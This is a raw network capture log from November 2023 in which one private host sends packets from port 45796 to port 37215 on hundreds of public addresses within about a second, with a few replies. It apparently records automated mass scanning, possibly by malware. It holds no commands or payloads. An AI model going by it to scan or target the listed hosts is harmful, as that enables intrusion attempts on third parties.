Nov 19, 2023 09:15:44.607222080 CET	45796	37215	192.168.2.23	41.23.187.235
Nov 19, 2023 09:15:44.607223988 CET	45796	37215	192.168.2.23	156.235.153.116
Nov 19, 2023 09:15:44.607234001 CET	45796	37215	192.168.2.23	41.227.200.247
Nov 19, 2023 09:15:44.607238054 CET	45796	37215	192.168.2.23	41.70.214.188
Nov 19, 2023 09:15:44.607242107 CET	45796	37215	192.168.2.23	156.229.32.34
Nov 19, 2023 09:15:44.607244968 CET	45796	37215	192.168.2.23	197.156.133.8
Nov 19, 2023 09:15:44.607249022 CET	45796	37215	192.168.2.23	197.199.87.26
Nov 19, 2023 09:15:44.607249022 CET	45796	37215	192.168.2.23	41.155.150.20
Nov 19, 2023 09:15:44.607254982 CET	45796	37215	192.168.2.23	197.178.228.64
Nov 19, 2023 09:15:44.607256889 CET	45796	37215	192.168.2.23	156.114.12.239
Nov 19, 2023 09:15:44.607266903 CET	45796	37215	192.168.2.23	41.189.82.7
Nov 19, 2023 09:15:44.607270002 CET	45796	37215	192.168.2.23	197.225.158.251
Nov 19, 2023 09:15:44.607279062 CET	45796	37215	192.168.2.23	156.195.212.229
Nov 19, 2023 09:15:44.607280016 CET	45796	37215	192.168.2.23	197.71.61.48
Nov 19, 2023 09:15:44.607283115 CET	45796	37215	192.168.2.23	197.27.141.215
Nov 19, 2023 09:15:44.607290983 CET	45796	37215	192.168.2.23	156.238.113.193
Nov 19, 2023 09:15:44.607294083 CET	45796	37215	192.168.2.23	197.99.71.56
Nov 19, 2023 09:15:44.607294083 CET	45796	37215	192.168.2.23	41.130.111.230
Nov 19, 2023 09:15:44.607297897 CET	45796	37215	192.168.2.23	197.66.77.31
Nov 19, 2023 09:15:44.607297897 CET	45796	37215	192.168.2.23	197.43.47.76
Nov 19, 2023 09:15:44.607305050 CET	45796	37215	192.168.2.23	197.200.32.236
Nov 19, 2023 09:15:44.607305050 CET	45796	37215	192.168.2.23	156.31.178.244
Nov 19, 2023 09:15:44.607326984 CET	45796	37215	192.168.2.23	197.171.77.174
Nov 19, 2023 09:15:44.607331991 CET	45796	37215	192.168.2.23	197.63.215.178
Nov 19, 2023 09:15:44.607331991 CET	45796	37215	192.168.2.23	41.191.97.33
Nov 19, 2023 09:15:44.607332945 CET	45796	37215	192.168.2.23	156.36.66.68
Nov 19, 2023 09:15:44.607332945 CET	45796	37215	192.168.2.23	156.181.128.117
Nov 19, 2023 09:15:44.607335091 CET	45796	37215	192.168.2.23	197.148.229.50
Nov 19, 2023 09:15:44.607347965 CET	45796	37215	192.168.2.23	41.214.97.101
Nov 19, 2023 09:15:44.607351065 CET	45796	37215	192.168.2.23	156.207.157.178
Nov 19, 2023 09:15:44.607357025 CET	45796	37215	192.168.2.23	197.251.66.196
Nov 19, 2023 09:15:44.607359886 CET	45796	37215	192.168.2.23	156.88.149.3
Nov 19, 2023 09:15:44.607362986 CET	45796	37215	192.168.2.23	41.251.247.127
Nov 19, 2023 09:15:44.607372999 CET	45796	37215	192.168.2.23	41.146.151.195
Nov 19, 2023 09:15:44.607376099 CET	45796	37215	192.168.2.23	156.69.19.139
Nov 19, 2023 09:15:44.607381105 CET	45796	37215	192.168.2.23	197.75.127.177
Nov 19, 2023 09:15:44.607381105 CET	45796	37215	192.168.2.23	156.130.83.44
Nov 19, 2023 09:15:44.607392073 CET	45796	37215	192.168.2.23	41.136.99.234
Nov 19, 2023 09:15:44.607392073 CET	45796	37215	192.168.2.23	197.252.194.37
Nov 19, 2023 09:15:44.607394934 CET	45796	37215	192.168.2.23	156.106.231.37
Nov 19, 2023 09:15:44.607398033 CET	45796	37215	192.168.2.23	156.150.207.146
Nov 19, 2023 09:15:44.607398987 CET	45796	37215	192.168.2.23	156.89.125.14
Nov 19, 2023 09:15:44.607398987 CET	45796	37215	192.168.2.23	197.247.72.241
Nov 19, 2023 09:15:44.607402086 CET	45796	37215	192.168.2.23	41.117.229.100
Nov 19, 2023 09:15:44.607409000 CET	45796	37215	192.168.2.23	156.10.138.101
Nov 19, 2023 09:15:44.607409000 CET	45796	37215	192.168.2.23	156.223.143.246
Nov 19, 2023 09:15:44.607409000 CET	45796	37215	192.168.2.23	156.160.117.108
Nov 19, 2023 09:15:44.607414961 CET	45796	37215	192.168.2.23	197.232.12.225
Nov 19, 2023 09:15:44.607422113 CET	45796	37215	192.168.2.23	41.168.136.90
Nov 19, 2023 09:15:44.607433081 CET	45796	37215	192.168.2.23	41.254.189.246
Nov 19, 2023 09:15:44.607433081 CET	45796	37215	192.168.2.23	197.36.83.6
Nov 19, 2023 09:15:44.607436895 CET	45796	37215	192.168.2.23	197.188.247.246
Nov 19, 2023 09:15:44.607436895 CET	45796	37215	192.168.2.23	197.197.227.2
Nov 19, 2023 09:15:44.607438087 CET	45796	37215	192.168.2.23	156.18.246.135
Nov 19, 2023 09:15:44.607438087 CET	45796	37215	192.168.2.23	197.125.185.24
Nov 19, 2023 09:15:44.607443094 CET	45796	37215	192.168.2.23	156.1.96.104
Nov 19, 2023 09:15:44.607443094 CET	45796	37215	192.168.2.23	156.75.190.114
Nov 19, 2023 09:15:44.607443094 CET	45796	37215	192.168.2.23	41.176.79.33
Nov 19, 2023 09:15:44.607451916 CET	45796	37215	192.168.2.23	156.190.197.167
Nov 19, 2023 09:15:44.607455015 CET	45796	37215	192.168.2.23	197.11.231.78
Nov 19, 2023 09:15:44.607455015 CET	45796	37215	192.168.2.23	197.20.205.6
Nov 19, 2023 09:15:44.607465982 CET	45796	37215	192.168.2.23	41.170.177.186
Nov 19, 2023 09:15:44.607475996 CET	45796	37215	192.168.2.23	197.93.78.36
Nov 19, 2023 09:15:44.607476950 CET	45796	37215	192.168.2.23	156.98.75.210
Nov 19, 2023 09:15:44.607480049 CET	45796	37215	192.168.2.23	41.12.161.173
Nov 19, 2023 09:15:44.607481003 CET	45796	37215	192.168.2.23	156.72.202.206
Nov 19, 2023 09:15:44.607487917 CET	45796	37215	192.168.2.23	156.61.94.83
Nov 19, 2023 09:15:44.607487917 CET	45796	37215	192.168.2.23	197.73.181.86
Nov 19, 2023 09:15:44.607495070 CET	45796	37215	192.168.2.23	41.41.209.217
Nov 19, 2023 09:15:44.607500076 CET	45796	37215	192.168.2.23	156.194.197.75
Nov 19, 2023 09:15:44.607501030 CET	45796	37215	192.168.2.23	41.168.91.18
Nov 19, 2023 09:15:44.607506990 CET	45796	37215	192.168.2.23	197.130.85.110
Nov 19, 2023 09:15:44.607511997 CET	45796	37215	192.168.2.23	41.130.159.235
Nov 19, 2023 09:15:44.607523918 CET	45796	37215	192.168.2.23	197.176.97.114
Nov 19, 2023 09:15:44.607542038 CET	45796	37215	192.168.2.23	41.184.68.180
Nov 19, 2023 09:15:44.607542038 CET	45796	37215	192.168.2.23	197.56.163.10
Nov 19, 2023 09:15:44.607542038 CET	45796	37215	192.168.2.23	41.67.159.128
Nov 19, 2023 09:15:44.607546091 CET	45796	37215	192.168.2.23	197.9.88.28
Nov 19, 2023 09:15:44.607546091 CET	45796	37215	192.168.2.23	197.180.47.46
Nov 19, 2023 09:15:44.607547045 CET	45796	37215	192.168.2.23	156.71.3.64
Nov 19, 2023 09:15:44.607548952 CET	45796	37215	192.168.2.23	41.173.154.249
Nov 19, 2023 09:15:44.607548952 CET	45796	37215	192.168.2.23	41.136.135.222
Nov 19, 2023 09:15:44.607556105 CET	45796	37215	192.168.2.23	41.175.198.199
Nov 19, 2023 09:15:44.607558966 CET	45796	37215	192.168.2.23	41.106.145.29
Nov 19, 2023 09:15:44.607563019 CET	45796	37215	192.168.2.23	197.139.99.131
Nov 19, 2023 09:15:44.607563019 CET	45796	37215	192.168.2.23	156.103.200.185
Nov 19, 2023 09:15:44.607568026 CET	45796	37215	192.168.2.23	156.36.125.209
Nov 19, 2023 09:15:44.607568979 CET	45796	37215	192.168.2.23	197.191.129.90
Nov 19, 2023 09:15:44.607568979 CET	45796	37215	192.168.2.23	156.55.140.178
Nov 19, 2023 09:15:44.607579947 CET	45796	37215	192.168.2.23	41.158.75.209
Nov 19, 2023 09:15:44.607579947 CET	45796	37215	192.168.2.23	197.143.66.195
Nov 19, 2023 09:15:44.607579947 CET	45796	37215	192.168.2.23	156.182.252.191
Nov 19, 2023 09:15:44.607583046 CET	45796	37215	192.168.2.23	197.67.17.59
Nov 19, 2023 09:15:44.607585907 CET	45796	37215	192.168.2.23	197.131.66.164
Nov 19, 2023 09:15:44.607585907 CET	45796	37215	192.168.2.23	41.175.99.21
Nov 19, 2023 09:15:44.607592106 CET	45796	37215	192.168.2.23	41.252.94.134
Nov 19, 2023 09:15:44.607606888 CET	45796	37215	192.168.2.23	197.26.81.98
Nov 19, 2023 09:15:44.607606888 CET	45796	37215	192.168.2.23	41.66.123.90
Nov 19, 2023 09:15:44.607610941 CET	45796	37215	192.168.2.23	197.185.5.26
Nov 19, 2023 09:15:44.607610941 CET	45796	37215	192.168.2.23	156.82.55.199
Nov 19, 2023 09:15:44.607615948 CET	45796	37215	192.168.2.23	41.130.163.61
Nov 19, 2023 09:15:44.607615948 CET	45796	37215	192.168.2.23	197.33.56.216
Nov 19, 2023 09:15:44.607624054 CET	45796	37215	192.168.2.23	156.137.92.244
Nov 19, 2023 09:15:44.607624054 CET	45796	37215	192.168.2.23	197.157.201.174
Nov 19, 2023 09:15:44.607624054 CET	45796	37215	192.168.2.23	197.153.90.26
Nov 19, 2023 09:15:44.607635975 CET	45796	37215	192.168.2.23	197.158.81.178
Nov 19, 2023 09:15:44.607644081 CET	45796	37215	192.168.2.23	41.42.176.67
Nov 19, 2023 09:15:44.607644081 CET	45796	37215	192.168.2.23	156.227.190.0
Nov 19, 2023 09:15:44.607644081 CET	45796	37215	192.168.2.23	197.42.18.32
Nov 19, 2023 09:15:44.607645988 CET	45796	37215	192.168.2.23	156.87.20.70
Nov 19, 2023 09:15:44.607645988 CET	45796	37215	192.168.2.23	197.66.72.160
Nov 19, 2023 09:15:44.607647896 CET	45796	37215	192.168.2.23	197.84.172.12
Nov 19, 2023 09:15:44.607651949 CET	45796	37215	192.168.2.23	156.100.214.204
Nov 19, 2023 09:15:44.607656956 CET	45796	37215	192.168.2.23	156.180.164.9
Nov 19, 2023 09:15:44.607659101 CET	45796	37215	192.168.2.23	197.170.207.124
Nov 19, 2023 09:15:44.607671976 CET	45796	37215	192.168.2.23	197.123.42.85
Nov 19, 2023 09:15:44.607672930 CET	45796	37215	192.168.2.23	156.218.172.249
Nov 19, 2023 09:15:44.607676983 CET	45796	37215	192.168.2.23	41.118.106.65
Nov 19, 2023 09:15:44.607693911 CET	45796	37215	192.168.2.23	156.143.187.61
Nov 19, 2023 09:15:44.607693911 CET	45796	37215	192.168.2.23	197.196.53.14
Nov 19, 2023 09:15:44.607697010 CET	45796	37215	192.168.2.23	197.242.219.137
Nov 19, 2023 09:15:44.607697010 CET	45796	37215	192.168.2.23	156.128.98.233
Nov 19, 2023 09:15:44.607701063 CET	45796	37215	192.168.2.23	41.253.226.199
Nov 19, 2023 09:15:44.607712984 CET	45796	37215	192.168.2.23	197.124.230.197
Nov 19, 2023 09:15:44.607712984 CET	45796	37215	192.168.2.23	156.61.175.253
Nov 19, 2023 09:15:44.607712984 CET	45796	37215	192.168.2.23	156.178.167.29
Nov 19, 2023 09:15:44.607712984 CET	45796	37215	192.168.2.23	41.196.30.75
Nov 19, 2023 09:15:44.607724905 CET	45796	37215	192.168.2.23	197.1.153.228
Nov 19, 2023 09:15:44.607728004 CET	45796	37215	192.168.2.23	156.80.46.249
Nov 19, 2023 09:15:44.607732058 CET	45796	37215	192.168.2.23	156.214.255.139
Nov 19, 2023 09:15:44.607737064 CET	45796	37215	192.168.2.23	156.108.163.147
Nov 19, 2023 09:15:44.607742071 CET	45796	37215	192.168.2.23	41.120.35.50
Nov 19, 2023 09:15:44.607749939 CET	45796	37215	192.168.2.23	197.231.208.182
Nov 19, 2023 09:15:44.607750893 CET	45796	37215	192.168.2.23	197.242.239.238
Nov 19, 2023 09:15:44.607753038 CET	45796	37215	192.168.2.23	156.14.91.183
Nov 19, 2023 09:15:44.607753038 CET	45796	37215	192.168.2.23	156.9.177.245
Nov 19, 2023 09:15:44.607753038 CET	45796	37215	192.168.2.23	197.185.55.49
Nov 19, 2023 09:15:44.607764959 CET	45796	37215	192.168.2.23	156.148.219.111
Nov 19, 2023 09:15:44.607767105 CET	45796	37215	192.168.2.23	41.10.225.249
Nov 19, 2023 09:15:44.607783079 CET	45796	37215	192.168.2.23	156.213.175.97
Nov 19, 2023 09:15:44.607790947 CET	45796	37215	192.168.2.23	41.136.85.254
Nov 19, 2023 09:15:44.607790947 CET	45796	37215	192.168.2.23	197.40.166.33
Nov 19, 2023 09:15:44.607795000 CET	45796	37215	192.168.2.23	41.110.207.118
Nov 19, 2023 09:15:44.607795954 CET	45796	37215	192.168.2.23	156.73.120.27
Nov 19, 2023 09:15:44.607803106 CET	45796	37215	192.168.2.23	197.110.182.108
Nov 19, 2023 09:15:44.607804060 CET	45796	37215	192.168.2.23	156.64.81.119
Nov 19, 2023 09:15:44.607804060 CET	45796	37215	192.168.2.23	41.43.44.81
Nov 19, 2023 09:15:44.607804060 CET	45796	37215	192.168.2.23	197.16.197.247
Nov 19, 2023 09:15:44.607805014 CET	45796	37215	192.168.2.23	197.131.134.219
Nov 19, 2023 09:15:44.607805014 CET	45796	37215	192.168.2.23	156.250.182.131
Nov 19, 2023 09:15:44.607804060 CET	45796	37215	192.168.2.23	41.114.104.131
Nov 19, 2023 09:15:44.607810020 CET	45796	37215	192.168.2.23	41.26.246.235
Nov 19, 2023 09:15:44.607810020 CET	45796	37215	192.168.2.23	156.221.110.185
Nov 19, 2023 09:15:44.607810020 CET	45796	37215	192.168.2.23	197.20.148.166
Nov 19, 2023 09:15:44.607811928 CET	45796	37215	192.168.2.23	156.69.89.63
Nov 19, 2023 09:15:44.607819080 CET	45796	37215	192.168.2.23	41.56.67.156
Nov 19, 2023 09:15:44.607831955 CET	45796	37215	192.168.2.23	197.167.18.24
Nov 19, 2023 09:15:44.607831001 CET	45796	37215	192.168.2.23	41.204.147.131
Nov 19, 2023 09:15:44.607842922 CET	45796	37215	192.168.2.23	156.234.100.71
Nov 19, 2023 09:15:44.607842922 CET	45796	37215	192.168.2.23	41.222.150.254
Nov 19, 2023 09:15:44.607847929 CET	45796	37215	192.168.2.23	197.18.59.31
Nov 19, 2023 09:15:44.607847929 CET	45796	37215	192.168.2.23	197.82.109.179
Nov 19, 2023 09:15:44.607857943 CET	45796	37215	192.168.2.23	41.127.10.181
Nov 19, 2023 09:15:44.607867002 CET	45796	37215	192.168.2.23	197.18.148.49
Nov 19, 2023 09:15:44.607867002 CET	45796	37215	192.168.2.23	197.80.141.38
Nov 19, 2023 09:15:44.607868910 CET	45796	37215	192.168.2.23	156.174.122.233
Nov 19, 2023 09:15:44.607880116 CET	45796	37215	192.168.2.23	156.154.176.8
Nov 19, 2023 09:15:44.607887030 CET	45796	37215	192.168.2.23	156.77.189.79
Nov 19, 2023 09:15:44.607891083 CET	45796	37215	192.168.2.23	156.91.248.127
Nov 19, 2023 09:15:44.607894897 CET	45796	37215	192.168.2.23	156.26.228.211
Nov 19, 2023 09:15:44.607903957 CET	45796	37215	192.168.2.23	197.177.36.224
Nov 19, 2023 09:15:44.607918024 CET	45796	37215	192.168.2.23	197.185.116.11
Nov 19, 2023 09:15:44.607920885 CET	45796	37215	192.168.2.23	41.202.145.28
Nov 19, 2023 09:15:44.607923985 CET	45796	37215	192.168.2.23	156.52.216.155
Nov 19, 2023 09:15:44.607923985 CET	45796	37215	192.168.2.23	197.188.183.246
Nov 19, 2023 09:15:44.607925892 CET	45796	37215	192.168.2.23	41.254.116.128
Nov 19, 2023 09:15:44.607925892 CET	45796	37215	192.168.2.23	156.95.89.173
Nov 19, 2023 09:15:44.607925892 CET	45796	37215	192.168.2.23	197.25.163.139
Nov 19, 2023 09:15:44.607929945 CET	45796	37215	192.168.2.23	156.212.123.87
Nov 19, 2023 09:15:44.607934952 CET	45796	37215	192.168.2.23	197.175.29.123
Nov 19, 2023 09:15:44.607937098 CET	45796	37215	192.168.2.23	197.114.219.180
Nov 19, 2023 09:15:44.607942104 CET	45796	37215	192.168.2.23	197.211.115.176
Nov 19, 2023 09:15:44.607942104 CET	45796	37215	192.168.2.23	41.101.198.182
Nov 19, 2023 09:15:44.607944965 CET	45796	37215	192.168.2.23	41.179.45.78
Nov 19, 2023 09:15:44.607945919 CET	45796	37215	192.168.2.23	41.82.118.237
Nov 19, 2023 09:15:44.607945919 CET	45796	37215	192.168.2.23	197.62.216.89
Nov 19, 2023 09:15:44.607945919 CET	45796	37215	192.168.2.23	197.240.245.129
Nov 19, 2023 09:15:44.607945919 CET	45796	37215	192.168.2.23	41.123.113.209
Nov 19, 2023 09:15:44.607950926 CET	45796	37215	192.168.2.23	197.73.211.36
Nov 19, 2023 09:15:44.849595070 CET	37215	45796	197.13.116.197	192.168.2.23
Nov 19, 2023 09:15:44.863410950 CET	37215	45796	41.42.146.143	192.168.2.23
Nov 19, 2023 09:15:44.925168991 CET	37215	45796	156.226.141.95	192.168.2.23
Nov 19, 2023 09:15:44.947350979 CET	37215	45796	156.232.170.76	192.168.2.23
Nov 19, 2023 09:15:44.986073971 CET	37215	45796	41.175.99.21	192.168.2.23
Nov 19, 2023 09:15:45.041913986 CET	37215	45796	197.5.56.107	192.168.2.23
Nov 19, 2023 09:15:45.042062044 CET	45796	37215	192.168.2.23	197.5.56.107
Nov 19, 2023 09:15:45.042262077 CET	37215	45796	197.5.56.107	192.168.2.23
Nov 19, 2023 09:15:45.213562012 CET	37215	45796	197.9.88.28	192.168.2.23
Nov 19, 2023 09:15:45.608762026 CET	45796	37215	192.168.2.23	41.240.63.242
Nov 19, 2023 09:15:45.608762026 CET	45796	37215	192.168.2.23	41.192.125.121
Nov 19, 2023 09:15:45.608771086 CET	45796	37215	192.168.2.23	41.105.74.200
Nov 19, 2023 09:15:45.608778954 CET	45796	37215	192.168.2.23	41.63.64.218
Nov 19, 2023 09:15:45.608803034 CET	45796	37215	192.168.2.23	41.124.224.235
Nov 19, 2023 09:15:45.608810902 CET	45796	37215	192.168.2.23	197.165.86.239
Nov 19, 2023 09:15:45.608810902 CET	45796	37215	192.168.2.23	197.252.80.26
Nov 19, 2023 09:15:45.608810902 CET	45796	37215	192.168.2.23	156.22.216.69
Nov 19, 2023 09:15:45.608809948 CET	45796	37215	192.168.2.23	41.146.59.222
Nov 19, 2023 09:15:45.608817101 CET	45796	37215	192.168.2.23	156.157.32.14
Nov 19, 2023 09:15:45.608817101 CET	45796	37215	192.168.2.23	156.175.130.245
Nov 19, 2023 09:15:45.608819008 CET	45796	37215	192.168.2.23	156.149.47.120
Nov 19, 2023 09:15:45.608819008 CET	45796	37215	192.168.2.23	197.2.48.157
Nov 19, 2023 09:15:45.608833075 CET	45796	37215	192.168.2.23	197.212.189.19
Nov 19, 2023 09:15:45.608836889 CET	45796	37215	192.168.2.23	197.226.85.247
Nov 19, 2023 09:15:45.608840942 CET	45796	37215	192.168.2.23	197.47.46.34
Nov 19, 2023 09:15:45.608840942 CET	45796	37215	192.168.2.23	156.23.22.41
Nov 19, 2023 09:15:45.608851910 CET	45796	37215	192.168.2.23	41.156.192.1
Nov 19, 2023 09:15:45.608853102 CET	45796	37215	192.168.2.23	41.237.19.62
Nov 19, 2023 09:15:45.608853102 CET	45796	37215	192.168.2.23	156.144.209.42
Nov 19, 2023 09:15:45.608851910 CET	45796	37215	192.168.2.23	197.189.66.66
Nov 19, 2023 09:15:45.608853102 CET	45796	37215	192.168.2.23	156.164.32.201
Nov 19, 2023 09:15:45.608865023 CET	45796	37215	192.168.2.23	197.121.17.10
Nov 19, 2023 09:15:45.608865023 CET	45796	37215	192.168.2.23	41.155.48.217
Nov 19, 2023 09:15:45.608870029 CET	45796	37215	192.168.2.23	156.112.226.68
Nov 19, 2023 09:15:45.608870029 CET	45796	37215	192.168.2.23	156.238.186.147
Nov 19, 2023 09:15:45.608870029 CET	45796	37215	192.168.2.23	41.186.107.69
Nov 19, 2023 09:15:45.608870029 CET	45796	37215	192.168.2.23	41.224.246.151
Nov 19, 2023 09:15:45.608867884 CET	45796	37215	192.168.2.23	156.109.241.243
Nov 19, 2023 09:15:45.608875990 CET	45796	37215	192.168.2.23	156.5.47.28
Nov 19, 2023 09:15:45.608867884 CET	45796	37215	192.168.2.23	41.69.220.182
Nov 19, 2023 09:15:45.608876944 CET	45796	37215	192.168.2.23	41.13.149.18
Nov 19, 2023 09:15:45.608869076 CET	45796	37215	192.168.2.23	41.129.140.190
Nov 19, 2023 09:15:45.608876944 CET	45796	37215	192.168.2.23	197.130.158.239
Nov 19, 2023 09:15:45.608869076 CET	45796	37215	192.168.2.23	41.66.221.236
Nov 19, 2023 09:15:45.608890057 CET	45796	37215	192.168.2.23	197.214.184.129
Nov 19, 2023 09:15:45.608894110 CET	45796	37215	192.168.2.23	197.175.153.156
Nov 19, 2023 09:15:45.608894110 CET	45796	37215	192.168.2.23	41.127.192.235
Nov 19, 2023 09:15:45.608894110 CET	45796	37215	192.168.2.23	197.248.186.85
Nov 19, 2023 09:15:45.608902931 CET	45796	37215	192.168.2.23	197.213.171.149
Nov 19, 2023 09:15:45.608894110 CET	45796	37215	192.168.2.23	156.134.113.12
Nov 19, 2023 09:15:45.608903885 CET	45796	37215	192.168.2.23	41.239.48.203
Nov 19, 2023 09:15:45.608908892 CET	45796	37215	192.168.2.23	41.64.50.210
Nov 19, 2023 09:15:45.608908892 CET	45796	37215	192.168.2.23	156.66.5.89
Nov 19, 2023 09:15:45.608911037 CET	45796	37215	192.168.2.23	197.104.236.241
Nov 19, 2023 09:15:45.608911037 CET	45796	37215	192.168.2.23	41.103.142.180
Nov 19, 2023 09:15:45.608911037 CET	45796	37215	192.168.2.23	197.5.73.43
Nov 19, 2023 09:15:45.608911991 CET	45796	37215	192.168.2.23	41.183.92.250
Nov 19, 2023 09:15:45.608911991 CET	45796	37215	192.168.2.23	197.161.208.207
Nov 19, 2023 09:15:45.608922005 CET	45796	37215	192.168.2.23	156.122.4.62
Nov 19, 2023 09:15:45.608925104 CET	45796	37215	192.168.2.23	156.181.19.17
Nov 19, 2023 09:15:45.608925104 CET	45796	37215	192.168.2.23	41.241.150.4
Nov 19, 2023 09:15:45.608925104 CET	45796	37215	192.168.2.23	197.197.225.186
Nov 19, 2023 09:15:45.608925104 CET	45796	37215	192.168.2.23	197.1.110.148
Nov 19, 2023 09:15:45.608925104 CET	45796	37215	192.168.2.23	197.78.9.86
Nov 19, 2023 09:15:45.608932018 CET	45796	37215	192.168.2.23	156.98.228.177
Nov 19, 2023 09:15:45.608939886 CET	45796	37215	192.168.2.23	197.139.205.94
Nov 19, 2023 09:15:45.608946085 CET	45796	37215	192.168.2.23	156.169.218.202
Nov 19, 2023 09:15:45.608946085 CET	45796	37215	192.168.2.23	156.124.151.185
Nov 19, 2023 09:15:45.608952045 CET	45796	37215	192.168.2.23	197.160.5.181
Nov 19, 2023 09:15:45.608954906 CET	45796	37215	192.168.2.23	41.159.53.6
Nov 19, 2023 09:15:45.608966112 CET	45796	37215	192.168.2.23	156.243.136.141
Nov 19, 2023 09:15:45.608973026 CET	45796	37215	192.168.2.23	197.141.205.146
Nov 19, 2023 09:15:45.608973026 CET	45796	37215	192.168.2.23	156.149.14.220
Nov 19, 2023 09:15:45.608971119 CET	45796	37215	192.168.2.23	197.59.33.148
Nov 19, 2023 09:15:45.608971119 CET	45796	37215	192.168.2.23	197.57.204.241
Nov 19, 2023 09:15:45.608971119 CET	45796	37215	192.168.2.23	197.12.175.29
Nov 19, 2023 09:15:45.608971119 CET	45796	37215	192.168.2.23	156.26.61.161
Nov 19, 2023 09:15:45.608971119 CET	45796	37215	192.168.2.23	156.237.4.24
Nov 19, 2023 09:15:45.608984947 CET	45796	37215	192.168.2.23	41.217.129.53
Nov 19, 2023 09:15:45.608989000 CET	45796	37215	192.168.2.23	156.190.108.242
Nov 19, 2023 09:15:45.608994007 CET	45796	37215	192.168.2.23	197.137.152.9
Nov 19, 2023 09:15:45.608999968 CET	45796	37215	192.168.2.23	156.166.24.53
Nov 19, 2023 09:15:45.608999968 CET	45796	37215	192.168.2.23	197.242.252.156
Nov 19, 2023 09:15:45.608999968 CET	45796	37215	192.168.2.23	197.171.3.169
Nov 19, 2023 09:15:45.609003067 CET	45796	37215	192.168.2.23	41.29.242.93
Nov 19, 2023 09:15:45.608999968 CET	45796	37215	192.168.2.23	41.14.183.189
Nov 19, 2023 09:15:45.609004021 CET	45796	37215	192.168.2.23	41.187.111.38
Nov 19, 2023 09:15:45.608999968 CET	45796	37215	192.168.2.23	156.67.83.163
Nov 19, 2023 09:15:45.609003067 CET	45796	37215	192.168.2.23	41.156.185.203
Nov 19, 2023 09:15:45.609000921 CET	45796	37215	192.168.2.23	41.31.51.72
Nov 19, 2023 09:15:45.609013081 CET	45796	37215	192.168.2.23	41.65.249.217
Nov 19, 2023 09:15:45.609008074 CET	45796	37215	192.168.2.23	41.74.126.99
Nov 19, 2023 09:15:45.609014034 CET	45796	37215	192.168.2.23	41.71.238.39
Nov 19, 2023 09:15:45.609003067 CET	45796	37215	192.168.2.23	197.199.107.95
Nov 19, 2023 09:15:45.609016895 CET	45796	37215	192.168.2.23	197.247.153.145
Nov 19, 2023 09:15:45.609008074 CET	45796	37215	192.168.2.23	41.212.130.192
Nov 19, 2023 09:15:45.609008074 CET	45796	37215	192.168.2.23	156.231.160.213
Nov 19, 2023 09:15:45.609008074 CET	45796	37215	192.168.2.23	197.183.138.17
Nov 19, 2023 09:15:45.609009027 CET	45796	37215	192.168.2.23	41.186.117.202
Nov 19, 2023 09:15:45.609009027 CET	45796	37215	192.168.2.23	41.55.117.108
Nov 19, 2023 09:15:45.609025002 CET	45796	37215	192.168.2.23	41.91.135.243
Nov 19, 2023 09:15:45.609025955 CET	45796	37215	192.168.2.23	156.16.203.104
Nov 19, 2023 09:15:45.609025955 CET	45796	37215	192.168.2.23	197.235.248.130
Nov 19, 2023 09:15:45.609033108 CET	45796	37215	192.168.2.23	156.62.226.206
Nov 19, 2023 09:15:45.609041929 CET	45796	37215	192.168.2.23	156.221.220.117
Nov 19, 2023 09:15:45.609041929 CET	45796	37215	192.168.2.23	41.178.215.66
Nov 19, 2023 09:15:45.609041929 CET	45796	37215	192.168.2.23	41.215.216.14
Nov 19, 2023 09:15:45.609041929 CET	45796	37215	192.168.2.23	197.228.49.91
Nov 19, 2023 09:15:45.609041929 CET	45796	37215	192.168.2.23	197.112.88.254
Nov 19, 2023 09:15:45.609041929 CET	45796	37215	192.168.2.23	197.178.110.147
Nov 19, 2023 09:15:45.609051943 CET	45796	37215	192.168.2.23	156.174.70.136
Nov 19, 2023 09:15:45.609051943 CET	45796	37215	192.168.2.23	156.228.253.196
Nov 19, 2023 09:15:45.609052896 CET	45796	37215	192.168.2.23	156.3.64.57
Nov 19, 2023 09:15:45.609059095 CET	45796	37215	192.168.2.23	197.10.15.73
Nov 19, 2023 09:15:45.609066963 CET	45796	37215	192.168.2.23	41.70.0.144
Nov 19, 2023 09:15:45.609066963 CET	45796	37215	192.168.2.23	41.103.24.186
Nov 19, 2023 09:15:45.609066963 CET	45796	37215	192.168.2.23	197.169.166.45
Nov 19, 2023 09:15:45.609070063 CET	45796	37215	192.168.2.23	156.134.76.85
Nov 19, 2023 09:15:45.609070063 CET	45796	37215	192.168.2.23	156.38.96.142
Nov 19, 2023 09:15:45.609076023 CET	45796	37215	192.168.2.23	197.215.231.180
Nov 19, 2023 09:15:45.609082937 CET	45796	37215	192.168.2.23	41.238.89.232
Nov 19, 2023 09:15:45.609082937 CET	45796	37215	192.168.2.23	41.200.223.46
Nov 19, 2023 09:15:45.609082937 CET	45796	37215	192.168.2.23	156.234.243.14
Nov 19, 2023 09:15:45.609087944 CET	45796	37215	192.168.2.23	197.149.125.52
Nov 19, 2023 09:15:45.609088898 CET	45796	37215	192.168.2.23	197.186.250.148
Nov 19, 2023 09:15:45.609090090 CET	45796	37215	192.168.2.23	41.24.198.27
Nov 19, 2023 09:15:45.609101057 CET	45796	37215	192.168.2.23	41.182.113.171
Nov 19, 2023 09:15:45.609101057 CET	45796	37215	192.168.2.23	156.17.78.30
Nov 19, 2023 09:15:45.609103918 CET	45796	37215	192.168.2.23	156.195.225.207
Nov 19, 2023 09:15:45.609103918 CET	45796	37215	192.168.2.23	41.205.24.156
Nov 19, 2023 09:15:45.609107018 CET	45796	37215	192.168.2.23	41.38.47.97
Nov 19, 2023 09:15:45.609107018 CET	45796	37215	192.168.2.23	156.239.31.136
Nov 19, 2023 09:15:45.609107018 CET	45796	37215	192.168.2.23	41.123.111.227
Nov 19, 2023 09:15:45.609107971 CET	45796	37215	192.168.2.23	197.149.91.183
Nov 19, 2023 09:15:45.609110117 CET	45796	37215	192.168.2.23	197.54.45.197
Nov 19, 2023 09:15:45.609107971 CET	45796	37215	192.168.2.23	197.225.0.170
Nov 19, 2023 09:15:45.609107971 CET	45796	37215	192.168.2.23	41.124.49.62
Nov 19, 2023 09:15:45.609107971 CET	45796	37215	192.168.2.23	156.202.9.73
Nov 19, 2023 09:15:45.609107971 CET	45796	37215	192.168.2.23	41.252.16.119
Nov 19, 2023 09:15:45.609118938 CET	45796	37215	192.168.2.23	156.198.159.115
Nov 19, 2023 09:15:45.609118938 CET	45796	37215	192.168.2.23	197.46.99.202
Nov 19, 2023 09:15:45.609118938 CET	45796	37215	192.168.2.23	197.72.131.43
Nov 19, 2023 09:15:45.609119892 CET	45796	37215	192.168.2.23	197.142.30.181
Nov 19, 2023 09:15:45.609118938 CET	45796	37215	192.168.2.23	156.83.41.105
